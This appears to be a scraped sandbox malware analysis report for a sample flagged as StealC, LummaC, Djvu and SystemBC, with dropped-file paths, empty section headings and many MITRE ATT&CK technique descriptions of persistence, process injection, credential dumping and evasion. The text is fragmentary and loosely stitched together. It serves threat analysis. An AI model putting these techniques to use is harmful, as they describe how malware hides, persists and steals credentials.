Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3QKcKCEzYP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Djvu

Threatname: SystemBC

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe

Windows Analysis Report
3QKcKCEzYP.exe

C:\Users\user\AppData\Local\Temp\7zS227C.tmp\data\config.txt

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre